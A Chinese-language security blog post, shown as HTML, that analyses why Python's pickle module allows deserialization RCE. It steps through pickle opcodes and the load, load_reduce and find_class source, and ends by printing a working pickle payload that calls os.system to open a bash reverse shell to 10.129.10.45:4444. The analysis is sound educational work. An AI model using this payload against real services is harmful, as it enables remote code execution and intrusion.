-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPython-Deserialize-Analyze.html
More file actions
420 lines (308 loc) · 29.8 KB
/
Python-Deserialize-Analyze.html
File metadata and controls
420 lines (308 loc) · 29.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 7.3.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css" integrity="sha256-dABdfBfUoC8vJUBOwGVdm8L9qlMWaHTIfXt+7GnZCIo=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.1.1/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancyapps-ui/5.0.36/fancybox/fancybox.css" integrity="sha256-zM8WXtG4eUn7dKKNMTuoWZub++VnSfaOpA/8PJfvTBo=" crossorigin="anonymous">
<script class="next-config" data-name="main" type="application/json">{"hostname":"owefsad.github.io","root":"/","images":"/images","scheme":"Mist","darkmode":false,"version":"8.23.1","exturl":false,"sidebar":{"position":"right","width_expanded":320,"width_dual_column":240,"display":"post","padding":18,"offset":12},"hljswrap":true,"codeblock":{"theme":{"light":"default","dark":"stackoverflow-dark"},"prism":{"light":"prism","dark":"prism-dark"},"copy_button":{"enable":false,"style":null},"fold":{"enable":false,"height":500},"language":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"duration":200,"transition":{"menu_item":"fadeInDown","post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"}}</script><script src="/js/config.js" defer></script>
<meta name="description" content="简介:本文用于分析Python反序列化漏洞形成原因及其他库不存在反序列化漏洞的原因。 状态:更新中出自:北森云计算 - 安全攻防实验室">
<meta property="og:type" content="article">
<meta property="og:title" content="Python Deserialize Analyze">
<meta property="og:url" content="https://owefsad.github.io/Python-Deserialize-Analyze.html">
<meta property="og:site_name" content="owefsad">
<meta property="og:description" content="简介:本文用于分析Python反序列化漏洞形成原因及其他库不存在反序列化漏洞的原因。 状态:更新中出自:北森云计算 - 安全攻防实验室">
<meta property="og:locale" content="en_US">
<meta property="article:published_time" content="2019-07-05T10:24:55.000Z">
<meta property="article:modified_time" content="2025-06-21T08:45:38.126Z">
<meta property="article:author" content="owefsad">
<meta property="article:tag" content="反序列化">
<meta property="article:tag" content="Pickle">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="https://owefsad.github.io/Python-Deserialize-Analyze.html">
<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":false,"isPost":true,"lang":"en","comments":true,"permalink":"https://owefsad.github.io/Python-Deserialize-Analyze.html","path":"Python-Deserialize-Analyze.html","title":"Python Deserialize Analyze"}</script>
<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>Python Deserialize Analyze | owefsad</title>
<script src="/js/third-party/analytics/baidu-analytics.js" defer></script>
<script async src="https://hm.baidu.com/hm.js?2a72b138b6ef81ae123fcd18e91fa843"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/animejs/3.2.1/anime.min.js" integrity="sha256-XL2inqUJaslATFnHdJOi9GfQ60on8Wx1C2H8DYiN1xY=" crossorigin="anonymous" defer></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancyapps-ui/5.0.36/fancybox/fancybox.umd.js" integrity="sha256-hiUEBwFEpLF6DlB8sGXlKo4kPZ46Ui4qGpd0vrVkOm4=" crossorigin="anonymous" defer></script>
<script src="/js/utils.js" defer></script><script src="/js/motion.js" defer></script><script src="/js/sidebar.js" defer></script><script src="/js/next-boot.js" defer></script>
<script src="/js/third-party/fancybox.js" defer></script>
<noscript>
<link rel="stylesheet" href="/css/noscript.css">
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
<div class="headband"></div>
<main class="main">
<div class="column">
<header class="header" itemscope itemtype="http://schema.org/WPHeader"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="Toggle navigation bar" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<i class="logo-line"></i>
<p class="site-title">owefsad</p>
<i class="logo-line"></i>
</a>
<p class="site-subtitle" itemprop="description">owefsad page</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger" aria-label="Search" role="button">
</div>
</div>
</div>
<nav class="site-nav">
<ul class="main-menu menu"><li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a></li><li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>Categories</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a></li><li class="menu-item menu-item-resume"><a href="/resume/" rel="section"><i class="fa fa-user fa-fw"></i>resume</a></li>
</ul>
</nav>
</header>
<aside class="sidebar">
<div class="sidebar-inner sidebar-nav-active sidebar-toc-active">
<ul class="sidebar-nav">
<li class="sidebar-nav-toc">
Table of Contents
</li>
<li class="sidebar-nav-overview">
Overview
</li>
</ul>
<div class="sidebar-panel-container">
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
<div class="post-toc animated"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%96%87%E7%AB%A0%E7%9B%AE%E5%BD%95"><span class="nav-number">1.</span> <span class="nav-text">文章目录</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%A6%82%E8%BF%B0"><span class="nav-number">2.</span> <span class="nav-text">概述</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#Pickle%E5%BA%8F%E5%88%97%E5%8C%96%E5%90%8E%E7%9A%84%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84"><span class="nav-number">2.0.1.</span> <span class="nav-text">Pickle序列化后的数据结构</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#pickle%E8%B0%83%E7%94%A8loads%E6%96%B9%E6%B3%95"><span class="nav-number">2.0.2.</span> <span class="nav-text">pickle调用loads方法</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E8%B7%9F%E8%B8%AAload%E6%96%B9%E6%B3%95"><span class="nav-number">2.0.3.</span> <span class="nav-text">跟踪load方法</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#pickle-%E7%94%9F%E6%88%90shell"><span class="nav-number">2.0.4.</span> <span class="nav-text">pickle 生成shell</span></a></li></ol></li></ol></li></ol></div>
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
<p class="site-author-name" itemprop="name">owefsad</p>
<div class="site-description" itemprop="description">分享安全、AI漏洞分析、漏洞研究、技术分享、开源工具</div>
</div>
<div class="site-state-wrap animated">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">93</span>
<span class="site-state-item-name">posts</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">6</span>
<span class="site-state-item-name">categories</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">173</span>
<span class="site-state-item-name">tags</span></a>
</div>
</nav>
</div>
<div class="links-of-author animated">
<span class="links-of-author-item">
<a href="https://github.com/exexute" title="GitHub → https://github.com/exexute" rel="noopener me" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:1547147759@gmail.com" title="E-Mail → mailto:1547147759@gmail.com" rel="noopener me" target="_blank"><i class="fa fa-envelope fa-fw"></i>E-Mail</a>
</span>
</div>
</div>
</div>
</div>
</aside>
</div>
<div class="main-inner post posts-expand">
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="en">
<link itemprop="mainEntityOfPage" href="https://owefsad.github.io/Python-Deserialize-Analyze.html">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="owefsad">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="owefsad">
<meta itemprop="description" content="分享安全、AI漏洞分析、漏洞研究、技术分享、开源工具">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="Python Deserialize Analyze | owefsad">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
Python Deserialize Analyze<a href="https://github.com/owefsad/blog/tree/main/source/_posts/Python-Deserialize-Analyze.md" class="post-edit-link" title="Edit this post" rel="noopener" target="_blank"><i class="fa fa-pen-nib"></i></a>
</h1>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-07-05 18:24:55" itemprop="dateCreated datePublished" datetime="2019-07-05T18:24:55+08:00">2019-07-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/" itemprop="url" rel="index"><span itemprop="name">安全研究</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody"><p>简介:<br>本文用于分析Python反序列化漏洞形成原因及其他库不存在反序列化漏洞的原因。</p>
<p>状态:更新中<br>出自:北森云计算 - 安全攻防实验室</p>
<span id="more"></span>
<h2 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h2><ul>
<li>概述</li>
<li>Pickle</li>
</ul>
<h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>python序列化用于将python运行时对象转换为二进制数据,使得python运行时对象可以在不同平台或不同语言中通信、对象持久化存储等。Python用于序列化的包有pickle、json、Demjson等,其中json、Demjson均不存在反序列化漏洞,因此有必要分析这些包之间的差异。</p>
<blockquote>
<p>Pickle</p>
</blockquote>
<p>Pickle实现了用于序列化与反序列化python对象的协议,将python对象的层次结构转换为字节流,从而实现python对象的跨平台、跨语言的通信;Pickle可用于处理json数据、python自定义对象(类)等,因此pickle需要实现函数的动态创建、加载和执行;正是因为这个原因,pickle包可用于反序列化特定的二进制数据导致反序列化RCE甚至reverse shell。</p>
<p>Pickle通过反射的机制实现了python对象的反序列化,Pickle实现的反序列化可用于加载内置模块和调用内置函数,因此如果解析了未知来源的反序列化数据将可能导致程序被攻击,在Pickle模块的官方文档中有如下警告:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated <span class="built_in">source</span>.</span><br></pre></td></tr></table></figure>
<h4 id="Pickle序列化后的数据结构"><a href="#Pickle序列化后的数据结构" class="headerlink" title="Pickle序列化后的数据结构"></a>Pickle序列化后的数据结构</h4><p>查看序列化后的数据: </p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ python -c <span class="string">"import pickle;l = [i for i in range(5)];print(pickle.dumps(l))"</span></span><br><span class="line">(lp0</span><br><span class="line">I0</span><br><span class="line">aI1</span><br><span class="line">aI2</span><br><span class="line">aI3</span><br><span class="line">aI4</span><br><span class="line">a.</span><br></pre></td></tr></table></figure>
<p>上述数据即为序列化后的数据,其原始二进制数据为: “(lp0\nI0\naI1\naI2\naI3\naI4\na.”</p>
<p>反序列化后数据解析:</p>
<ul>
<li>“(“代表”MARK”,表示将<code>object()</code>对象推入栈中; 此时:<code>stack=[object()]</code></li>
<li>“l”代表”LIST”,表示将stack的len(stack)的数据;此时: <code>stack=[[]]</code></li>
<li>“p”代表”PUT”,表示p读取当前行”0\n”,并将0作为键存储stack[-1]的内容;此时:<code>meno[0]=[],stack=[[]]</code></li>
<li>“I”代表”INT”, 表示将I之后的一行数据”0\n”作为int型或log型推入栈中;此时:<code>meno[0]=[],stack=[[],0]</code></li>
<li>“a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:<code>meno[0]=[],stack=[[0]]</code></li>
<li>“I”代表”INT”,表示将I之后的一行数据”1\n”作为int型或log型推入栈中;此时:<code>meno[0]=[],stack=[[0],1]</code></li>
<li>“a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:<code>meno[0]=[],stack=[[0,1]]</code></li>
<li>“I”代表”INT”,表示将I之后的一行数据”2\n”作为int型或log型推入栈中;此时:<code>meno[0]=[],stack=[[0,1],2]</code></li>
<li>“a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:<code>meno[0]=[],stack=[[0,1,2]]</code></li>
<li>“I”代表”INT”,表示将I之后的一行数据”3\n”作为int型或log型推入栈中;此时:<code>meno[0]=[],stack=[[0,1,2],3]</code></li>
<li>“a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:<code>meno[0]=[],stack=[[0,1,2,3]]</code></li>
<li>“I”代表”INT”,表示将I之后的一行数据”4\n”作为int型或log型推入栈中;此时:<code>meno[0]=[],stack=[[0,1,2,3],4]</code></li>
<li>“a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:<code>meno[0]=[],stack=[[0,1,2,3,4]]</code></li>
<li>“.”代表”STOP”,表示停止,将stack中的数据pop出来,然后返回;返回值为<code>[0,1,2,3,4]</code></li>
</ul>
<h4 id="pickle调用loads方法"><a href="#pickle调用loads方法" class="headerlink" title="pickle调用loads方法"></a>pickle调用loads方法</h4><p>pickle调用loads方法时,实际上创建了一个内存IO对象,并将该对象传递到Unpickler类中用于反序列化,代码如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">loads</span>(<span class="params"><span class="built_in">str</span></span>):</span><br><span class="line"> file = StringIO(<span class="built_in">str</span>)</span><br><span class="line"> <span class="keyword">return</span> Unpickler(file).load()</span><br></pre></td></tr></table></figure>
<h4 id="跟踪load方法"><a href="#跟踪load方法" class="headerlink" title="跟踪load方法"></a>跟踪load方法</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="string">"""Read a pickled object representation from the open file.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> Return the reconstituted object hierarchy specified in the file.</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="variable language_">self</span>.mark = <span class="built_in">object</span>() <span class="comment"># any new unique object</span></span><br><span class="line"> <span class="variable language_">self</span>.stack = []</span><br><span class="line"> <span class="variable language_">self</span>.append = <span class="variable language_">self</span>.stack.append</span><br><span class="line"> read = <span class="variable language_">self</span>.read</span><br><span class="line"> dispatch = <span class="variable language_">self</span>.dispatch</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> key = read(<span class="number">1</span>)</span><br><span class="line"> dispatch[key](<span class="variable language_">self</span>)</span><br><span class="line"> <span class="keyword">except</span> _Stop,stopinst:</span><br><span class="line"> <span class="keyword">return</span> stopinst.value</span><br></pre></td></tr></table></figure>
<p>第一行,创建object()对象,用于marker()方法判断数据插入的位置;<br>第二行,创建stack对象,初始化为空列表,用于后续存储数据;<br>第三行,定义append对象,用于将数据追加到stack对象中<br>第四行,定义read对象,用于从文件对象中读取数据; 其中文件对象可以是磁盘文件,也可以是内存io对象;<br>第五行,定义反射处理程序的字典对象dispatch,用于存储各类反序列化对象的处理函数;<br>第6-8行,循环读取文件对象中的字符并调用对应的处理函数对数据进行处理;<br>第9-10行,通过自定义异常将反序列化的结果返回</p>
<h4 id="pickle-生成shell"><a href="#pickle-生成shell" class="headerlink" title="pickle 生成shell"></a>pickle 生成shell</h4><p>在pickle中内置了’R’对象的Reduce方法,用于从当前stack中调用可执行的方法,源码如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load_reduce</span>(<span class="params">self</span>):</span><br><span class="line"> stack = <span class="variable language_">self</span>.stack</span><br><span class="line"> args = stack.pop()</span><br><span class="line"> func = stack[-<span class="number">1</span>]</span><br><span class="line"> value = func(*args)</span><br><span class="line"> stack[-<span class="number">1</span>] = value</span><br><span class="line">dispatch[REDUCE] = load_reduce</span><br></pre></td></tr></table></figure>
<p>因此,只要构造数据保证调用”R”时stack的后两位分别是元祖格式的参数和一个可执行的方法即可,如下:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[<...>,<built-in <span class="keyword">function</span> system>,(<span class="string">'/bin/sh'</span>,)]</span><br></pre></td></tr></table></figure>
<p>接下来需要构造出”built-in function system”这个方法;继续查看pickle的反射函数列表,可以找到<code>GLOBAL='c'# push self.find_class(modname,name); 2 string args</code>这行代码,意思是通过指定字符c及其后的字符串即可动态加载字符串代表的类,</p>
<p>load_global函数(c对象):</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load_global</span>(<span class="params">self</span>):</span><br><span class="line"> module = <span class="variable language_">self</span>.readline()[:-<span class="number">1</span>]</span><br><span class="line"> name = <span class="variable language_">self</span>.readline()[:-<span class="number">1</span>]</span><br><span class="line"> klass = <span class="variable language_">self</span>.find_class(module,name)</span><br><span class="line"> <span class="variable language_">self</span>.append(klass)</span><br></pre></td></tr></table></figure>
<ul>
<li>第一行,从当前位置读取文件的一整行并删除”\n”,作为模块名</li>
<li>第二行,从当前位置读取文件的一整行,并删除”\n”,作为模块的方法名</li>
<li>第三行,将module,name作为参数调用find_class,获取module.name方法</li>
<li>第四行,将module.name方法添加到stack的末尾</li>
</ul>
<p>find_class函数:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">find_class</span>(<span class="params">self,module,name</span>):</span><br><span class="line"> <span class="comment"># Subclasses may override this</span></span><br><span class="line"> <span class="built_in">__import__</span>(module)</span><br><span class="line"> mod = sys.modules[module]</span><br><span class="line"> klass = <span class="built_in">getattr</span>(mod,name)</span><br><span class="line"> <span class="keyword">return</span> klass</span><br></pre></td></tr></table></figure>
<ul>
<li>第一行,通过<code>__import__</code>动态加载module</li>
<li>第二行,通过<code>sys.modules[module]</code>获取module对应的对象mod</li>
<li>第三行,通过<code>getattr(mod,name)</code>获取mod对象的方法klass</li>
<li>第四行,将klass方法名返回</li>
</ul>
<p>反序列化生成shell数据解析:</p>
<ul>
<li>“cos\nsystem\n”将创建os.system函数;</li>
<li>“cos\nsystem\n(S’/bin/bash’”将创建os.system函数,并将字符串”/bin/bash”放入栈(list)中</li>
<li>“cos\nsystem\n(S’/bin/bash’\nt”将栈(list)中的字符串”/bin/bash”转换为元祖</li>
<li>“cos\nsystem\n(S’/bin/bash’\ntR”将当前栈(list)中最后一位的元祖作为参数传入倒数第二位的方法(os.system)中运行,此时成功构建bash;</li>
<li>“cos\nsystem\n(S’/bin/bash’\ntR.”将停止当前反序列化过程并将栈中数据返回;</li>
</ul>
<p>目前为止,已经成功创建了用于创建shell的反序列化数据,接下来将system函数的值替换为reverse shell的值即可生成反弹shell。数据如下:<br>“cos\nsystem\n(S’/bin/bash -i >& /dev/tcp/10.129.10.45/4444 0>&1’\ntR.”</p>
</div>
<footer class="post-footer">
<div class="followme">
<span>Welcome to my other publishing channels</span>
<div class="social-list">
<div class="social-item">
<span class="social-link">
<span class="icon">
<i class="fab fa-weixin"></i>
</span>
<span class="label">WeChat</span>
</span>
<img class="social-item-img" src="/uploads/wechat-qcode.jpg">
</div>
<div class="social-item">
<a target="_blank" class="social-link" href="/uploads/avatar.gif">
<span class="icon">
<i class="fab fa-qq"></i>
</span>
<span class="label">QQ</span>
</a>
</div>
</div>
</div>
<div class="post-tags">
<a href="/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/" rel="tag"># 反序列化</a>
<a href="/tags/Pickle/" rel="tag"># Pickle</a>
</div>
<div class="post-nav">
<div class="post-nav-item">
<a href="/HTB-linux-LaCasaDePapel.html" rel="prev" title="HTB Linux LaCasaDePapel">
<i class="fa fa-angle-left"></i> HTB Linux LaCasaDePapel
</a>
</div>
<div class="post-nav-item">
<a href="/SSL-%E5%8F%8C%E5%90%91%E8%AE%A4%E8%AF%81.html" rel="next" title="SSL 双向认证">
SSL 双向认证 <i class="fa fa-angle-right"></i>
</a>
</div>
</div>
</footer>
</article>
</div>
</div>
</main>
<footer class="footer">
<div class="footer-inner">
<div class="copyright">
© 2017 –
<span itemprop="copyrightYear">2025</span>
<span class="with-love">
<i class="fa fa-heart"></i>
</span>
<span class="author" itemprop="copyrightHolder">owefsad</span>
</div>
</div>
</footer>
<div class="toggle sidebar-toggle" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
<div class="sidebar-dimmer"></div>
<div class="back-to-top" role="button" aria-label="Back to top">
<i class="fa fa-arrow-up fa-lg"></i>
<span>0%</span>
</div>
<a href="https://github.com/exexute" class="github-corner" title="Follow me on GitHub" aria-label="Follow me on GitHub" rel="noopener" target="_blank"><svg width="80" height="80" viewBox="0 0 250 250" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a>
<noscript>
<div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>
</body>
</html>